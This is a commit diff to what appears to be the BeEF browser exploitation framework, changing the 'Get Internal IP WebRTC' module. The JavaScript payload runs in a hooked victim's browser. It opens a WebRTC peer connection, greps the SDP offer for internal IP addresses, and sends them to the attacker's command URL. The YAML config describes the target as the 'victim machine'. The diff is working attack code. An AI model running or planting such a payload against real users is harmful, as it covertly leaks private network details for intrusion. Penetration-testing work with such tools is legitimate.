Use data stream/channel (Required by Chrome)
This commit is contained in:
@@ -13,11 +13,10 @@ beef.execute(function() {
|
||||
var addrs = Object.create(null);
|
||||
addrs["0.0.0.0"] = false;
|
||||
|
||||
// Establish a connection with ICE / relay servers - in this instance: NONE
|
||||
var rtc = new RTCPeerConnection({iceServers:[]});
|
||||
if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed
|
||||
// Construct RTC peer connection
|
||||
var servers = {iceServers:[]};
|
||||
var rtc = new RTCPeerConnection(servers);
|
||||
rtc.createDataChannel('', {reliable:false});
|
||||
};
|
||||
|
||||
// Upon an ICE candidate being found
|
||||
// Grep the SDP data for IP address data
|
||||
@@ -32,16 +31,21 @@ beef.execute(function() {
|
||||
rtc.createOffer(function (offerDesc) {
|
||||
grepSDP(offerDesc.sdp);
|
||||
rtc.setLocalDescription(offerDesc);
|
||||
}, function (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); });
|
||||
}, function (e) {
|
||||
beef.debug("SDP Offer Failed");
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed");
|
||||
});
|
||||
|
||||
// Return results
|
||||
function processIPs(newAddr) {
|
||||
if (newAddr in addrs) return;
|
||||
else addrs[newAddr] = true;
|
||||
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
|
||||
beef.debug("Found IPs: "+ displayAddrs.join(","))
|
||||
beef.debug("Found IPs: "+ displayAddrs.join(","));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","));
|
||||
}
|
||||
|
||||
// Retrieve IP addresses from SDP
|
||||
function grepSDP(sdp) {
|
||||
var hosts = [];
|
||||
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
|
||||
|
||||
@@ -9,7 +9,7 @@ beef:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Get Internal IP WebRTC"
|
||||
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/"
|
||||
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from <a href='http://net.ipcalf.com/' target='_blank'>http://net.ipcalf.com/</a>"
|
||||
authors: ["xntrik", "@natevw"]
|
||||
target:
|
||||
working: ["C", "FF"]
|
||||
|
||||
Reference in New Issue
Block a user